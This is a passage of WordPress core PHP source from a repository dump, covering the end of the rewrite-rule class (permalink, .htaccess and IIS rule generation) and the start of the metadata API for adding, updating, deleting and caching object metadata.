'?$'; //post pagination, e.g. <permalink>/2/ $match = $match . '(/[0-9]+)?/?$'; $query = $index . '?' . $query . '&page=' . $this->preg_index($num_toks + 1); } else { //not matching a permalink so this is a lot simpler //close the match and finalise the query $match .= '?$'; $query = $index . '?' . $query; } //create the final array for this dir by joining the $rewrite array (which currently //only contains rules/queries for trackback, pages etc) to the main regex/query for //this dir $rewrite = array_merge($rewrite, array($match => $query)); //if we're matching a permalink, add those extras (attachments etc) on if ( $post ) { //add trackback $rewrite = array_merge(array($trackbackmatch => $trackbackquery), $rewrite); //add regexes/queries for attachments, attachment trackbacks and so on if ( ! $page ) //require <permalink>/attachment/stuff form for pages because of confusion with subpages $rewrite = array_merge($rewrite, array($sub1 => $subquery, $sub1tb => $subtbquery, $sub1feed => $subfeedquery, $sub1feed2 => $subfeedquery, $sub1comment => $subcommentquery)); $rewrite = array_merge(array($sub2 => $subquery, $sub2tb => $subtbquery, $sub2feed => $subfeedquery, $sub2feed2 => $subfeedquery, $sub2comment => $subcommentquery), $rewrite); } } //if($num_toks) //add the rules for this dir to the accumulating $post_rewrite $post_rewrite = array_merge($rewrite, $post_rewrite); } //foreach ($dir) return $post_rewrite; //the finished rules. phew! } /** * Generate Rewrite rules with permalink structure and walking directory only. * * Shorten version of {@link WP_Rewrite::generate_rewrite_rules()} that * allows for shorter list of parameters. See the method for longer * description of what generating rewrite rules does. * * @uses WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters. * @since 1.5.0 * @access public * * @param string $permalink_structure The permalink structure to generate rules. * @param bool $walk_dirs Optional, default is false. Whether to create list of directories to walk over. * @return array */ function generate_rewrite_rule($permalink_structure, $walk_dirs = false) { return $this->generate_rewrite_rules($permalink_structure, EP_NONE, false, false, false, $walk_dirs); } /** * Construct rewrite matches and queries from permalink structure. * * Runs the action 'generate_rewrite_rules' with the parameter that is an * reference to the current WP_Rewrite instance to further manipulate the * permalink structures and rewrite rules. Runs the 'rewrite_rules_array' * filter on the full rewrite rule array. * * There are two ways to manipulate the rewrite rules, one by hooking into * the 'generate_rewrite_rules' action and gaining full control of the * object or just manipulating the rewrite rule array before it is passed * from the function. * * @since 1.5.0 * @access public * * @return array An associate array of matches and queries. */ function rewrite_rules() { $rewrite = array(); if ( empty($this->permalink_structure) ) return $rewrite; // robots.txt -only if installed at the root $home_path = parse_url( home_url() ); $robots_rewrite = ( empty( $home_path['path'] ) || '/' == $home_path['path'] ) ? array( 'robots\.txt$' => $this->index . '?robots=1' ) : array(); // Old feed and service files $deprecated_files = array( '.*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$' => $this->index . '?feed=old', '.*wp-app\.php(/.*)?$' => $this->index . '?error=403', ); // Registration rules $registration_pages = array(); if ( is_multisite() && is_main_site() ) { $registration_pages['.*wp-signup.php$'] = $this->index . '?signup=true'; $registration_pages['.*wp-activate.php$'] = $this->index . '?activate=true'; } $registration_pages['.*wp-register.php$'] = $this->index . '?register=true'; // Deprecated // Post $post_rewrite = $this->generate_rewrite_rules( $this->permalink_structure, EP_PERMALINK ); $post_rewrite = apply_filters('post_rewrite_rules', $post_rewrite); // Date $date_rewrite = $this->generate_rewrite_rules($this->get_date_permastruct(), EP_DATE); $date_rewrite = apply_filters('date_rewrite_rules', $date_rewrite); // Root $root_rewrite = $this->generate_rewrite_rules($this->root . '/', EP_ROOT); $root_rewrite = apply_filters('root_rewrite_rules', $root_rewrite); // Comments $comments_rewrite = $this->generate_rewrite_rules($this->root . $this->comments_base, EP_COMMENTS, true, true, true, false); $comments_rewrite = apply_filters('comments_rewrite_rules', $comments_rewrite); // Search $search_structure = $this->get_search_permastruct(); $search_rewrite = $this->generate_rewrite_rules($search_structure, EP_SEARCH); $search_rewrite = apply_filters('search_rewrite_rules', $search_rewrite); // Authors $author_rewrite = $this->generate_rewrite_rules($this->get_author_permastruct(), EP_AUTHORS); $author_rewrite = apply_filters('author_rewrite_rules', $author_rewrite); // Pages $page_rewrite = $this->page_rewrite_rules(); $page_rewrite = apply_filters('page_rewrite_rules', $page_rewrite); // Extra permastructs foreach ( $this->extra_permastructs as $permastructname => $struct ) { if ( is_array( $struct ) ) { if ( count( $struct ) == 2 ) $rules = $this->generate_rewrite_rules( $struct[0], $struct[1] ); else $rules = $this->generate_rewrite_rules( $struct['struct'], $struct['ep_mask'], $struct['paged'], $struct['feed'], $struct['forcomments'], $struct['walk_dirs'], $struct['endpoints'] ); } else { $rules = $this->generate_rewrite_rules( $struct ); } $rules = apply_filters($permastructname . '_rewrite_rules', $rules); if ( 'post_tag' == $permastructname ) $rules = apply_filters('tag_rewrite_rules', $rules); $this->extra_rules_top = array_merge($this->extra_rules_top, $rules); } // Put them together. if ( $this->use_verbose_page_rules ) $this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $page_rewrite, $post_rewrite, $this->extra_rules); else $this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules); do_action_ref_array('generate_rewrite_rules', array(&$this)); $this->rules = apply_filters('rewrite_rules_array', $this->rules); return $this->rules; } /** * Retrieve the rewrite rules. * * The difference between this method and {@link * WP_Rewrite::rewrite_rules()} is that this method stores the rewrite rules * in the 'rewrite_rules' option and retrieves it. This prevents having to * process all of the permalinks to get the rewrite rules in the form of * caching. * * @since 1.5.0 * @access public * * @return array Rewrite rules. */ function wp_rewrite_rules() { $this->rules = get_option('rewrite_rules'); if ( empty($this->rules) ) { $this->matches = 'matches'; $this->rewrite_rules(); update_option('rewrite_rules', $this->rules); } return $this->rules; } /** * Retrieve mod_rewrite formatted rewrite rules to write to .htaccess. * * Does not actually write to the .htaccess file, but creates the rules for * the process that will. * * Will add the non_wp_rules property rules to the .htaccess file before * the WordPress rewrite rules one. * * @since 1.5.0 * @access public * * @return string */ function mod_rewrite_rules() { if ( ! $this->using_permalinks() ) return ''; $site_root = parse_url( site_url() ); if ( isset( $site_root['path'] ) ) $site_root = trailingslashit($site_root['path']); $home_root = parse_url(home_url()); if ( isset( $home_root['path'] ) ) $home_root = trailingslashit($home_root['path']); else $home_root = '/'; $rules = "<IfModule mod_rewrite.c>\n"; $rules .= "RewriteEngine On\n"; $rules .= "RewriteBase $home_root\n"; $rules .= "RewriteRule ^index\.php$ - [L]\n"; // Prevent -f checks on index.php. //add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all) foreach ( (array) $this->non_wp_rules as $match => $query) { // Apache 1.3 does not support the reluctant (non-greedy) modifier. $match = str_replace('.+?', '.+', $match); // If the match is unanchored and greedy, prepend rewrite conditions // to avoid infinite redirects and eclipsing of real files. //if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) { //nada. //} $rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n"; } if ( $this->use_verbose_rules ) { $this->matches = ''; $rewrite = $this->rewrite_rules(); $num_rules = count($rewrite); $rules .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" . "RewriteCond %{REQUEST_FILENAME} -d\n" . "RewriteRule ^.*$ - [S=$num_rules]\n"; foreach ( (array) $rewrite as $match => $query) { // Apache 1.3 does not support the reluctant (non-greedy) modifier. $match = str_replace('.+?', '.+', $match); // If the match is unanchored and greedy, prepend rewrite conditions // to avoid infinite redirects and eclipsing of real files. //if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) { //nada. //} if ( strpos($query, $this->index) !== false ) $rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n"; else $rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n"; } } else { $rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" . "RewriteCond %{REQUEST_FILENAME} !-d\n" . "RewriteRule . {$home_root}{$this->index} [L]\n"; } $rules .= "</IfModule>\n"; $rules = apply_filters('mod_rewrite_rules', $rules); $rules = apply_filters('rewrite_rules', $rules); // Deprecated return $rules; } /** * Retrieve IIS7 URL Rewrite formatted rewrite rules to write to web.config file. * * Does not actually write to the web.config file, but creates the rules for * the process that will. * * @since 2.8.0 * @access public * * @return string */ function iis7_url_rewrite_rules( $add_parent_tags = false ) { if ( ! $this->using_permalinks() ) return ''; $rules = ''; if ( $add_parent_tags ) { $rules .= '<configuration> <system.webServer> <rewrite> <rules>'; } $rules .= ' <rule name="wordpress" patternSyntax="Wildcard"> <match url="*" /> <conditions> <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" /> <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" /> </conditions> <action type="Rewrite" url="index.php" /> </rule>'; if ( $add_parent_tags ) { $rules .= ' </rules> </rewrite> </system.webServer> </configuration>'; } $rules = apply_filters('iis7_url_rewrite_rules', $rules); return $rules; } /** * Add a straight rewrite rule. * * Any value in the $after parameter that isn't 'bottom' will be placed at * the top of the rules. * * @since 2.1.0 * @access public * * @param string $regex Regular expression to match against request. * @param string $redirect URL regex redirects to when regex matches request. * @param string $after Optional, default is bottom. Location to place rule. */ function add_rule($regex, $redirect, $after = 'bottom') { //get everything up to the first ? $index = (strpos($redirect, '?') == false ? strlen($redirect) : strpos($redirect, '?')); $front = substr($redirect, 0, $index); if ( $front != $this->index ) { //it doesn't redirect to WP's index.php $this->add_external_rule($regex, $redirect); } else { if ( 'bottom' == $after) $this->extra_rules = array_merge($this->extra_rules, array($regex => $redirect)); else $this->extra_rules_top = array_merge($this->extra_rules_top, array($regex => $redirect)); //$this->extra_rules[$regex] = $redirect; } } /** * Add a rule that doesn't redirect to index.php. * * Can redirect to any place. * * @since 2.1.0 * @access public * * @param string $regex Regular expression to match against request. * @param string $redirect URL regex redirects to when regex matches request. */ function add_external_rule($regex, $redirect) { $this->non_wp_rules[$regex] = $redirect; } /** * Add an endpoint, like /trackback/. * * See {@link add_rewrite_endpoint()} for full documentation. * * @see add_rewrite_endpoint() * @since 2.1.0 * @access public * @uses WP::add_query_var() * * @param string $name Name of the endpoint. * @param int $places Endpoint mask describing the places the endpoint should be added. */ function add_endpoint($name, $places) { global $wp; $this->endpoints[] = array ( $places, $name ); $wp->add_query_var($name); } /** * Add a new permalink structure. * * A permalink structure (permastruct) is an abstract definition of a set of rewrite rules; it * is an easy way of expressing a set of regular expressions that rewrite to a set of query strings. * The new permastruct is added to the {@link WP_Rewrite::$extra_permastructs} array. When the * rewrite rules are built by {@link WP_Rewrite::rewrite_rules()} all of these extra permastructs * are passed to {@link WP_Rewrite::generate_rewrite_rules()} which transforms them into the * regular expressions that many love to hate. * * The $args parameter gives you control over how {@link WP_Rewrite::generate_rewrite_rules()} * works on the new permastruct. * * @since 2.5.0 * @access public * * @param string $name Name for permalink structure. * @param string $struct Permalink structure (e.g. category/%category%) * @param array $args Optional configuration for building the rules from the permalink structure: * - with_front (bool) - Should the structure be prepended with WP_Rewrite::$front? Default is true. * - ep_mask (int) - Endpoint mask defining what endpoints are added to the structure. Default is EP_NONE. * - paged (bool) - Should archive pagination rules be added for the structure? Default is true. * - feed (bool) - Should feed rewrite rules be added for the structure? Default is true. * - forcomments (bool) - Should the feed rules be a query for a comments feed? Default is false. * - walk_dirs (bool) - Should the 'directories' making up the structure be walked over and rewrite * rules built for each in turn? Default is true. * - endpoints (bool) - Should endpoints be applied to the generated rewrite rules? Default is true. */ function add_permastruct( $name, $struct, $args = array() ) { // backwards compatibility for the old parameters: $with_front and $ep_mask if ( ! is_array( $args ) ) $args = array( 'with_front' => $args ); if ( func_num_args() == 4 ) $args['ep_mask'] = func_get_arg( 3 ); $defaults = array( 'with_front' => true, 'ep_mask' => EP_NONE, 'paged' => true, 'feed' => true, 'forcomments' => false, 'walk_dirs' => true, 'endpoints' => true, ); $args = array_intersect_key( $args, $defaults ); $args = wp_parse_args( $args, $defaults ); if ( $args['with_front'] ) $struct = $this->front . $struct; else $struct = $this->root . $struct; $args['struct'] = $struct; $this->extra_permastructs[ $name ] = $args; } /** * Remove rewrite rules and then recreate rewrite rules. * * Calls {@link WP_Rewrite::wp_rewrite_rules()} after removing the * 'rewrite_rules' option. If the function named 'save_mod_rewrite_rules' * exists, it will be called. * * @since 2.0.1 * @access public * @param bool $hard Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard). */ function flush_rules($hard = true) { delete_option('rewrite_rules'); $this->wp_rewrite_rules(); if ( $hard && function_exists('save_mod_rewrite_rules') ) save_mod_rewrite_rules(); if ( $hard && function_exists('iis7_save_url_rewrite_rules') ) iis7_save_url_rewrite_rules(); } /** * Sets up the object's properties. * * The 'use_verbose_page_rules' object property will be set to true if the * permalink structure begins with one of the following: '%postname%', '%category%', * '%tag%', or '%author%'. * * @since 1.5.0 * @access public */ function init() { $this->extra_rules = $this->non_wp_rules = $this->endpoints = array(); $this->permalink_structure = get_option('permalink_structure'); $this->front = substr($this->permalink_structure, 0, strpos($this->permalink_structure, '%')); $this->root = ''; if ( $this->using_index_permalinks() ) $this->root = $this->index . '/'; unset($this->author_structure); unset($this->date_structure); unset($this->page_structure); unset($this->search_structure); unset($this->feed_structure); unset($this->comment_feed_structure); $this->use_trailing_slashes = ( '/' == substr($this->permalink_structure, -1, 1) ); // Enable generic rules for pages if permalink structure doesn't begin with a wildcard. if ( preg_match("/^[^%]*%(?:postname|category|tag|author)%/", $this->permalink_structure) ) $this->use_verbose_page_rules = true; else $this->use_verbose_page_rules = false; } /** * Set the main permalink structure for the blog. * * Will update the 'permalink_structure' option, if there is a difference * between the current permalink structure and the parameter value. Calls * {@link WP_Rewrite::init()} after the option is updated. * * Fires the 'permalink_structure_changed' action once the init call has * processed passing the old and new values * * @since 1.5.0 * @access public * * @param string $permalink_structure Permalink structure. */ function set_permalink_structure($permalink_structure) { if ( $permalink_structure != $this->permalink_structure ) { $old_permalink_structure = $this->permalink_structure; update_option('permalink_structure', $permalink_structure); $this->init(); do_action('permalink_structure_changed', $old_permalink_structure, $permalink_structure); } } /** * Set the category base for the category permalink. * * Will update the 'category_base' option, if there is a difference between * the current category base and the parameter value. Calls * {@link WP_Rewrite::init()} after the option is updated. * * @since 1.5.0 * @access public * * @param string $category_base Category permalink structure base. */ function set_category_base($category_base) { if ( $category_base != get_option('category_base') ) { update_option('category_base', $category_base); $this->init(); } } /** * Set the tag base for the tag permalink. * * Will update the 'tag_base' option, if there is a difference between the * current tag base and the parameter value. Calls * {@link WP_Rewrite::init()} after the option is updated. * * @since 2.3.0 * @access public * * @param string $tag_base Tag permalink structure base. */ function set_tag_base( $tag_base ) { if ( $tag_base != get_option( 'tag_base') ) { update_option( 'tag_base', $tag_base ); $this->init(); } } /** * Constructor - Calls init(), which runs setup. * * @since 1.5.0 * @access public * * @return WP_Rewrite */ function __construct() { $this->init(); } }
zyblog
trunk/zyblog/wp-includes/rewrite.php
PHP
asf20
60,125
<?php /** * Metadata API * * Functions for retrieving and manipulating metadata of various WordPress object types. Metadata * for an object is a represented by a simple key-value pair. Objects may contain multiple * metadata entries that share the same key and differ only in their value. * * @package WordPress * @subpackage Meta * @since 2.9.0 */ /** * Add metadata for the specified object. * * @since 2.9.0 * @uses $wpdb WordPress database object for queries. * @uses do_action() Calls 'added_{$meta_type}_meta' with meta_id of added metadata entry, * object ID, meta key, and meta value * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $object_id ID of the object metadata is for * @param string $meta_key Metadata key * @param string $meta_value Metadata value * @param bool $unique Optional, default is false. Whether the specified metadata key should be * unique for the object. If true, and the object already has a value for the specified * metadata key, no change will be made * @return bool The meta ID on successful update, false on failure. */ function add_metadata($meta_type, $object_id, $meta_key, $meta_value, $unique = false) { if ( !$meta_type || !$meta_key ) return false; if ( !$object_id = absint($object_id) ) return false; if ( ! $table = _get_meta_table($meta_type) ) return false; global $wpdb; $column = esc_sql($meta_type . '_id'); // expected_slashed ($meta_key) $meta_key = stripslashes($meta_key); $meta_value = stripslashes_deep($meta_value); $meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type ); $check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique ); if ( null !== $check ) return $check; if ( $unique && $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) ) ) return false; $_meta_value = $meta_value; $meta_value = maybe_serialize( $meta_value ); do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value ); $result = $wpdb->insert( $table, array( $column => $object_id, 'meta_key' => $meta_key, 'meta_value' => $meta_value ) ); if ( ! $result ) return false; $mid = (int) $wpdb->insert_id; wp_cache_delete($object_id, $meta_type . '_meta'); do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value ); return $mid; } /** * Update metadata for the specified object. If no value already exists for the specified object * ID and metadata key, the metadata will be added. * * @since 2.9.0 * @uses $wpdb WordPress database object for queries. * @uses do_action() Calls 'update_{$meta_type}_meta' before updating metadata with meta_id of * metadata entry to update, object ID, meta key, and meta value * @uses do_action() Calls 'updated_{$meta_type}_meta' after updating metadata with meta_id of * updated metadata entry, object ID, meta key, and meta value * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $object_id ID of the object metadata is for * @param string $meta_key Metadata key * @param string $meta_value Metadata value * @param string $prev_value Optional. If specified, only update existing metadata entries with * the specified value. Otherwise, update all entries. * @return bool True on successful update, false on failure. */ function update_metadata($meta_type, $object_id, $meta_key, $meta_value, $prev_value = '') { if ( !$meta_type || !$meta_key ) return false; if ( !$object_id = absint($object_id) ) return false; if ( ! $table = _get_meta_table($meta_type) ) return false; global $wpdb; $column = esc_sql($meta_type . '_id'); $id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id'; // expected_slashed ($meta_key) $meta_key = stripslashes($meta_key); $passed_value = $meta_value; $meta_value = stripslashes_deep($meta_value); $meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type ); $check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value ); if ( null !== $check ) return (bool) $check; // Compare existing value to new value if no prev value given and the key exists only once. if ( empty($prev_value) ) { $old_value = get_metadata($meta_type, $object_id, $meta_key); if ( count($old_value) == 1 ) { if ( $old_value[0] === $meta_value ) return false; } } if ( ! $meta_id = $wpdb->get_var( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) ) ) return add_metadata($meta_type, $object_id, $meta_key, $passed_value); $_meta_value = $meta_value; $meta_value = maybe_serialize( $meta_value ); $data = compact( 'meta_value' ); $where = array( $column => $object_id, 'meta_key' => $meta_key ); if ( !empty( $prev_value ) ) { $prev_value = maybe_serialize($prev_value); $where['meta_value'] = $prev_value; } do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value ); if ( 'post' == $meta_type ) do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value ); $wpdb->update( $table, $data, $where ); wp_cache_delete($object_id, $meta_type . '_meta'); do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value ); if ( 'post' == $meta_type ) do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value ); return true; } /** * Delete metadata for the specified object. * * @since 2.9.0 * @uses $wpdb WordPress database object for queries. * @uses do_action() Calls 'deleted_{$meta_type}_meta' after deleting with meta_id of * deleted metadata entries, object ID, meta key, and meta value * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $object_id ID of the object metadata is for * @param string $meta_key Metadata key * @param string $meta_value Optional. Metadata value. If specified, only delete metadata entries * with this value. Otherwise, delete all entries with the specified meta_key. * @param bool $delete_all Optional, default is false. If true, delete matching metadata entries * for all objects, ignoring the specified object_id. Otherwise, only delete matching * metadata entries for the specified object_id. * @return bool True on successful delete, false on failure. */ function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) { if ( !$meta_type || !$meta_key ) return false; if ( (!$object_id = absint($object_id)) && !$delete_all ) return false; if ( ! $table = _get_meta_table($meta_type) ) return false; global $wpdb; $type_column = esc_sql($meta_type . '_id'); $id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id'; // expected_slashed ($meta_key) $meta_key = stripslashes($meta_key); $meta_value = stripslashes_deep($meta_value); $check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all ); if ( null !== $check ) return (bool) $check; $_meta_value = $meta_value; $meta_value = maybe_serialize( $meta_value ); $query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key ); if ( !$delete_all ) $query .= $wpdb->prepare(" AND $type_column = %d", $object_id ); if ( $meta_value ) $query .= $wpdb->prepare(" AND meta_value = %s", $meta_value ); $meta_ids = $wpdb->get_col( $query ); if ( !count( $meta_ids ) ) return false; if ( $delete_all ) $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) ); do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value ); // Old-style action. if ( 'post' == $meta_type ) do_action( 'delete_postmeta', $meta_ids ); $query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . " )"; $count = $wpdb->query($query); if ( !$count ) return false; if ( $delete_all ) { foreach ( (array) $object_ids as $o_id ) { wp_cache_delete($o_id, $meta_type . '_meta'); } } else { wp_cache_delete($object_id, $meta_type . '_meta'); } do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value ); // Old-style action. if ( 'post' == $meta_type ) do_action( 'deleted_postmeta', $meta_ids ); return true; } /** * Retrieve metadata for the specified object. * * @since 2.9.0 * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $object_id ID of the object metadata is for * @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for * the specified object. * @param bool $single Optional, default is false. If true, return only the first value of the * specified meta_key. This parameter has no effect if meta_key is not specified. * @return string|array Single metadata value, or array of values */ function get_metadata($meta_type, $object_id, $meta_key = '', $single = false) { if ( !$meta_type ) return false; if ( !$object_id = absint($object_id) ) return false; $check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single ); if ( null !== $check ) { if ( $single && is_array( $check ) ) return $check[0]; else return $check; } $meta_cache = wp_cache_get($object_id, $meta_type . '_meta'); if ( !$meta_cache ) { $meta_cache = update_meta_cache( $meta_type, array( $object_id ) ); $meta_cache = $meta_cache[$object_id]; } if ( !$meta_key ) return $meta_cache; if ( isset($meta_cache[$meta_key]) ) { if ( $single ) return maybe_unserialize( $meta_cache[$meta_key][0] ); else return array_map('maybe_unserialize', $meta_cache[$meta_key]); } if ($single) return ''; else return array(); } /** * Determine if a meta key is set for a given object * * @since 3.3.0 * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $object_id ID of the object metadata is for * @param string $meta_key Metadata key. * @return boolean true of the key is set, false if not. */ function metadata_exists( $meta_type, $object_id, $meta_key ) { if ( ! $meta_type ) return false; if ( ! $object_id = absint( $object_id ) ) return false; $check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true ); if ( null !== $check ) return true; $meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' ); if ( !$meta_cache ) { $meta_cache = update_meta_cache( $meta_type, array( $object_id ) ); $meta_cache = $meta_cache[$object_id]; } if ( isset( $meta_cache[ $meta_key ] ) ) return true; return false; } /** * Get meta data by meta ID * * @since 3.3.0 * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $meta_id ID for a specific meta row * @return object Meta object or false. */ function get_metadata_by_mid( $meta_type, $meta_id ) { global $wpdb; if ( ! $meta_type ) return false; if ( !$meta_id = absint( $meta_id ) ) return false; if ( ! $table = _get_meta_table($meta_type) ) return false; $id_column = ( 'user' == $meta_type ) ? 'umeta_id' : 'meta_id'; $meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) ); if ( empty( $meta ) ) return false; if ( isset( $meta->meta_value ) ) $meta->meta_value = maybe_unserialize( $meta->meta_value ); return $meta; } /** * Update meta data by meta ID * * @since 3.3.0 * * @uses get_metadata_by_mid() Calls get_metadata_by_mid() to fetch the meta key, value * and object_id of the given meta_id. * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $meta_id ID for a specific meta row * @param string $meta_value Metadata value * @param string $meta_key Optional, you can provide a meta key to update it * @return bool True on successful update, false on failure. */ function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) { global $wpdb; // Make sure everything is valid. if ( ! $meta_type ) return false; if ( ! $meta_id = absint( $meta_id ) ) return false; if ( ! $table = _get_meta_table( $meta_type ) ) return false; $column = esc_sql($meta_type . '_id'); $id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id'; // Fetch the meta and go on if it's found. if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) { $original_key = $meta->meta_key; $original_value = $meta->meta_value; $object_id = $meta->{$column}; // If a new meta_key (last parameter) was specified, change the meta key, // otherwise use the original key in the update statement. if ( false === $meta_key ) { $meta_key = $original_key; } elseif ( ! is_string( $meta_key ) ) { return false; } // Sanitize the meta $_meta_value = $meta_value; $meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type ); $meta_value = maybe_serialize( $meta_value ); // Format the data query arguments. $data = array( 'meta_key' => $meta_key, 'meta_value' => $meta_value ); // Format the where query arguments. $where = array(); $where[$id_column] = $meta_id; do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value ); if ( 'post' == $meta_type ) do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value ); // Run the update query, all fields in $data are %s, $where is a %d. $result = (bool) $wpdb->update( $table, $data, $where, '%s', '%d' ); // Clear the caches. wp_cache_delete($object_id, $meta_type . '_meta'); do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value ); if ( 'post' == $meta_type ) do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value ); return $result; } // And if the meta was not found. return false; } /** * Delete meta data by meta ID * * @since 3.3.0 * * @uses get_metadata_by_mid() Calls get_metadata_by_mid() to fetch the meta key, value * and object_id of the given meta_id. * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int $meta_id ID for a specific meta row * @return bool True on successful delete, false on failure. */ function delete_metadata_by_mid( $meta_type, $meta_id ) { global $wpdb; // Make sure everything is valid. if ( ! $meta_type ) return false; if ( ! $meta_id = absint( $meta_id ) ) return false; if ( ! $table = _get_meta_table( $meta_type ) ) return false; // object and id columns $column = esc_sql($meta_type . '_id'); $id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id'; // Fetch the meta and go on if it's found. if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) { $object_id = $meta->{$column}; do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value ); // Old-style action. if ( 'post' == $meta_type || 'comment' == $meta_type ) do_action( "delete_{$meta_type}meta", $meta_id ); // Run the query, will return true if deleted, false otherwise $result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) ); // Clear the caches. wp_cache_delete($object_id, $meta_type . '_meta'); do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value ); // Old-style action. if ( 'post' == $meta_type || 'comment' == $meta_type ) do_action( "deleted_{$meta_type}meta", $meta_id ); return $result; } // Meta id was not found. return false; } /** * Update the metadata cache for the specified objects. * * @since 2.9.0 * @uses $wpdb WordPress database object for queries. * * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user) * @param int|array $object_ids array or comma delimited list of object IDs to update cache for * @return mixed Metadata cache for the specified objects, or false on failure. */ function update_meta_cache($meta_type, $object_ids) { if ( empty( $meta_type ) || empty( $object_ids ) ) return false; if ( ! $table = _get_meta_table($meta_type) ) return false; $column = esc_sql($meta_type . '_id'); global $wpdb; if ( !is_array($object_ids) ) { $object_ids = preg_replace('|[^0-9,]|', '', $object_ids); $object_ids = explode(',', $object_ids); } $object_ids = array_map('intval', $object_ids); $cache_key = $meta_type . '_meta'; $ids = array(); $cache = array(); foreach ( $object_ids as $id ) { $cached_object = wp_cache_get( $id, $cache_key ); if ( false === $cached_object ) $ids[] = $id; else $cache[$id] = $cached_object; } if ( empty( $ids ) ) return $cache; // Get meta info $id_list = join(',', $ids); $meta_list = $wpdb->get_results( $wpdb->prepare("SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list)", $meta_type), ARRAY_A ); if ( !empty($meta_list) ) { foreach ( $meta_list as $metarow) { $mpid = intval($metarow[$column]); $mkey = $metarow['meta_key']; $mval = $metarow['meta_value']; // Force subkeys to be array type: if ( !isset($cache[$mpid]) || !is_array($cache[$mpid]) ) $cache[$mpid] = array(); if ( !isset($cache[$mpid][$mkey]) || !is_array($cache[$mpid][$mkey]) ) $cache[$mpid][$mkey] = array(); // Add a value to the current pid/key: $cache[$mpid][$mkey][] = $mval; } } foreach ( $ids as $id ) { if ( ! isset($cache[$id]) ) $cache[$id] = array(); wp_cache_add( $id, $cache[$id], $cache_key ); } return $cache; } /** * Given a meta query, generates SQL clauses to be appended to a main query * * @since 3.2.0 * * @see WP_Meta_Query * * @param array $meta_query A meta query * @param string $type Type of meta * @param string $primary_table * @param string $primary_id_column * @param object $context (optional) The main query object * @return array( 'join' => $join_sql, 'where' => $where_sql ) */ function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) { 